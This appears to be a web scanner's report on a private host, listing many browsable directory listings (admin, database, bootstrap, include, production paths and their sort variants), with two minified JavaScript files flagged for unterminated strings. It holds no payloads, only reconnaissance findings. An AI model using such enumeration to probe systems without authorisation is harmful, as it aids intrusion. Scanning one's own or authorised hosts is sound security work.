URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=N;O=D

http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=N;O=D
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=S;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=M;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=M;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=N;O=D


Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=S;O=A

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/?C=S;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=M;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=M;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=N;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=S;O=A


Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=S;O=D

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/?C=S;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=M;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=M;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=N;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=S;O=D


Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/

Method GET

Attack

Evidence Parent Directory

http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=M;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=M;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=N;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=S;O=D
http://192.168.1.10/admin/assets/


URL http://192.168.1.10/admin/assets/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=D;O=D

http://192.168.1.10/admin/assets/?C=D;O=A
http://192.168.1.10/admin/assets/?C=D;O=D
http://192.168.1.10/admin/assets/?C=M;O=A
http://192.168.1.10/admin/assets/?C=M;O=D
http://192.168.1.10/admin/assets/?C=N;O=A
http://192.168.1.10/admin/assets/?C=N;O=D
http://192.168.1.10/admin/assets/?C=S;O=A
http://192.168.1.10/admin/assets/?C=S;O=D
http://192.168.1.10/admin/assets/css/
http://192.168.1.10/admin/assets/css/?C=D;O=A
http://192.168.1.10/admin/assets/css/?C=D;O=D


Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=M;O=A

Method GET

http://192.168.1.10/admin/assets/css/?C=M;O=A
http://192.168.1.10/admin/assets/css/?C=M;O=D
http://192.168.1.10/admin/assets/css/?C=N;O=A
http://192.168.1.10/admin/assets/css/?C=N;O=D
http://192.168.1.10/admin/assets/css/?C=S;O=A
http://192.168.1.10/admin/assets/css/?C=S;O=D
http://192.168.1.10/admin/assets/css/locales/
http://192.168.1.10/admin/assets/css/locales/?C=D;O=A
http://192.168.1.10/admin/assets/css/locales/?C=D;O=D
http://192.168.1.10/admin/assets/css/locales/?C=M;O=A


Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=M;O=D

Method GET

Attack

http://192.168.1.10/admin/assets/css/locales/?C=M;O=D
http://192.168.1.10/admin/assets/css/locales/?C=N;O=A
http://192.168.1.10/admin/assets/css/locales/?C=N;O=D
http://192.168.1.10/admin/assets/css/locales/?C=S;O=A
http://192.168.1.10/admin/assets/css/locales/?C=S;O=D
http://192.168.1.10/admin/assets/img/
http://192.168.1.10/admin/assets/img/?C=D;O=A
http://192.168.1.10/admin/assets/img/?C=D;O=D
http://192.168.1.10/admin/assets/img/?C=M;O=A
http://192.168.1.10/admin/assets/img/?C=M;O=D


Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

http://192.168.1.10/admin/assets/img/?C=N;O=A
http://192.168.1.10/admin/assets/img/?C=N;O=D
http://192.168.1.10/admin/assets/img/?C=S;O=A
http://192.168.1.10/admin/assets/img/?C=S;O=D
http://192.168.1.10/admin/assets/js/
http://192.168.1.10/admin/assets/js/?C=D;O=A
http://192.168.1.10/admin/assets/js/?C=D;O=D
http://192.168.1.10/admin/assets/js/?C=M;O=A
http://192.168.1.10/admin/assets/js/?C=M;O=D
http://192.168.1.10/admin/assets/js/?C=N;O=A


URL http://192.168.1.10/admin/assets/js/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/?C=S;O=A

http://192.168.1.10/admin/assets/js/?C=N;O=D
http://192.168.1.10/admin/assets/js/?C=S;O=A
http://192.168.1.10/admin/assets/js/?C=S;O=D
http://192.168.1.10/admin/assets/js/google-code-prettify/
http://192.168.1.10/admin/assets/js/google-code-prettify/?C=D;O=A
http://192.168.1.10/admin/assets/js/google-code-prettify/?C=D;O=D
http://192.168.1.10/admin/assets/js/google-code-prettify/?C=M;O=A
http://192.168.1.10/admin/assets/js/google-code-prettify/?C=M;O=D
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http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=D;O=A
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=D;O=D
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=M;O=A
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=M;O=D
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=N;O=A


Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=N;O=D

Method GET

http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=N;O=D
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=S;O=A
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/?C=S;O=D
http://192.168.1.10/bootstrap/css/
http://192.168.1.10/bootstrap/css/?C=D;O=A
http://192.168.1.10/bootstrap/css/?C=D;O=D
http://192.168.1.10/bootstrap/css/?C=M;O=A
http://192.168.1.10/bootstrap/css/?C=M;O=D
http://192.168.1.10/bootstrap/css/?C=N;O=A
http://192.168.1.10/bootstrap/css/?C=N;O=D


Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=S;O=A

Method GET

Attack

http://192.168.1.10/bootstrap/css/?C=S;O=A
http://192.168.1.10/bootstrap/css/?C=S;O=D
http://192.168.1.10/bootstrap/fonts/
http://192.168.1.10/bootstrap/fonts/?C=D;O=A
http://192.168.1.10/bootstrap/fonts/?C=D;O=D
http://192.168.1.10/bootstrap/fonts/?C=M;O=A
http://192.168.1.10/bootstrap/fonts/?C=M;O=D
http://192.168.1.10/bootstrap/fonts/?C=N;O=A
http://192.168.1.10/bootstrap/fonts/?C=N;O=D
http://192.168.1.10/bootstrap/fonts/?C=S;O=A


Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/?C=S;O=D
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Attack
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URL http://192.168.1.10/bootstrap/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

http://192.168.1.10/bootstrap/fonts/?C=S;O=D
http://192.168.1.10/bootstrap/js/
http://192.168.1.10/bootstrap/js/?C=D;O=A
http://192.168.1.10/bootstrap/js/?C=D;O=D
http://192.168.1.10/bootstrap/js/?C=M;O=A
http://192.168.1.10/bootstrap/js/?C=M;O=D
http://192.168.1.10/bootstrap/js/?C=N;O=A
http://192.168.1.10/bootstrap/js/?C=N;O=D
http://192.168.1.10/bootstrap/js/?C=S;O=A
http://192.168.1.10/bootstrap/js/?C=S;O=D


URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence Unterminated string constant

URL http://192.168.1.10/bootstrap/js/vendor/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/uglify.min.js

http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/vendor/
http://192.168.1.10/bootstrap/js/vendor/?C=D;O=A
http://192.168.1.10/bootstrap/js/vendor/?C=D;O=D
http://192.168.1.10/bootstrap/js/vendor/?C=M;O=A
http://192.168.1.10/bootstrap/js/vendor/?C=M;O=D
http://192.168.1.10/bootstrap/js/vendor/?C=N;O=A
http://192.168.1.10/bootstrap/js/vendor/?C=N;O=D
http://192.168.1.10/bootstrap/js/vendor/?C=S;O=A
http://192.168.1.10/bootstrap/js/vendor/?C=S;O=D
http://192.168.1.10/bootstrap/js/vendor/uglify.min.js


Method GET

Attack

Evidence Unterminated string constant

URL http://192.168.1.10/database/
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Attack
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URL http://192.168.1.10/database/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/database/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/database/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/database/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/database/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/database/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/database/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/database/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/

Method GET

http://192.168.1.10/database/
http://192.168.1.10/database/?C=D;O=A
http://192.168.1.10/database/?C=D;O=D
http://192.168.1.10/database/?C=M;O=A
http://192.168.1.10/database/?C=M;O=D
http://192.168.1.10/database/?C=N;O=A
http://192.168.1.10/database/?C=N;O=D
http://192.168.1.10/database/?C=S;O=A
http://192.168.1.10/database/?C=S;O=D
http://192.168.1.10/icons/


Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=D;O=A
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Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/?C=S;O=D
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Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=D;O=A
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Attack

http://192.168.1.10/icons/?C=D;O=A
http://192.168.1.10/icons/?C=D;O=D
http://192.168.1.10/icons/?C=M;O=A
http://192.168.1.10/icons/?C=M;O=D
http://192.168.1.10/icons/?C=N;O=A
http://192.168.1.10/icons/?C=N;O=D
http://192.168.1.10/icons/?C=S;O=A
http://192.168.1.10/icons/?C=S;O=D
http://192.168.1.10/icons/small/
http://192.168.1.10/icons/small/?C=D;O=A


Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=D;O=D
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Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=M;O=A
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Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/icons/small/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/img/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/img/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/img/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

http://192.168.1.10/icons/small/?C=D;O=D
http://192.168.1.10/icons/small/?C=M;O=A
http://192.168.1.10/icons/small/?C=M;O=D
http://192.168.1.10/icons/small/?C=N;O=A
http://192.168.1.10/icons/small/?C=N;O=D
http://192.168.1.10/icons/small/?C=S;O=A
http://192.168.1.10/icons/small/?C=S;O=D
http://192.168.1.10/img/
http://192.168.1.10/img/?C=D;O=A
http://192.168.1.10/img/?C=D;O=D


URL http://192.168.1.10/img/?C=M;O=A
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Attack

Evidence Parent Directory

URL http://192.168.1.10/img/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/img/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/img/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/img/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/img/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=M;O=D

http://192.168.1.10/img/?C=M;O=A
http://192.168.1.10/img/?C=M;O=D
http://192.168.1.10/img/?C=N;O=A
http://192.168.1.10/img/?C=N;O=D
http://192.168.1.10/img/?C=S;O=A
http://192.168.1.10/img/?C=S;O=D
http://192.168.1.10/include/
http://192.168.1.10/include/?C=D;O=A
http://192.168.1.10/include/?C=D;O=D
http://192.168.1.10/include/?C=M;O=A
http://192.168.1.10/include/?C=M;O=D


Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=N;O=A
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Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/include/?C=S;O=D
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Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=N;O=A

Method GET

http://192.168.1.10/include/?C=N;O=A
http://192.168.1.10/include/?C=N;O=D
http://192.168.1.10/include/?C=S;O=A
http://192.168.1.10/include/?C=S;O=D
http://192.168.1.10/pictures/
http://192.168.1.10/pictures/?C=D;O=A
http://192.168.1.10/pictures/?C=D;O=D
http://192.168.1.10/pictures/?C=M;O=A
http://192.168.1.10/pictures/?C=M;O=D
http://192.168.1.10/pictures/?C=N;O=A


Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=S;O=A
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Attack

Evidence Parent Directory

URL http://192.168.1.10/pictures/?C=S;O=D
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Attack
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URL http://192.168.1.10/production/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/production/?C=D;O=A
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Attack

Evidence Parent Directory

URL http://192.168.1.10/production/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/production/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/production/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/production/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/production/?C=N;O=D

Method GET

Attack

http://192.168.1.10/pictures/?C=N;O=D
http://192.168.1.10/pictures/?C=S;O=A
http://192.168.1.10/pictures/?C=S;O=D
http://192.168.1.10/production/
http://192.168.1.10/production/?C=D;O=A
http://192.168.1.10/production/?C=D;O=D
http://192.168.1.10/production/?C=M;O=A
http://192.168.1.10/production/?C=M;O=D
http://192.168.1.10/production/?C=N;O=A
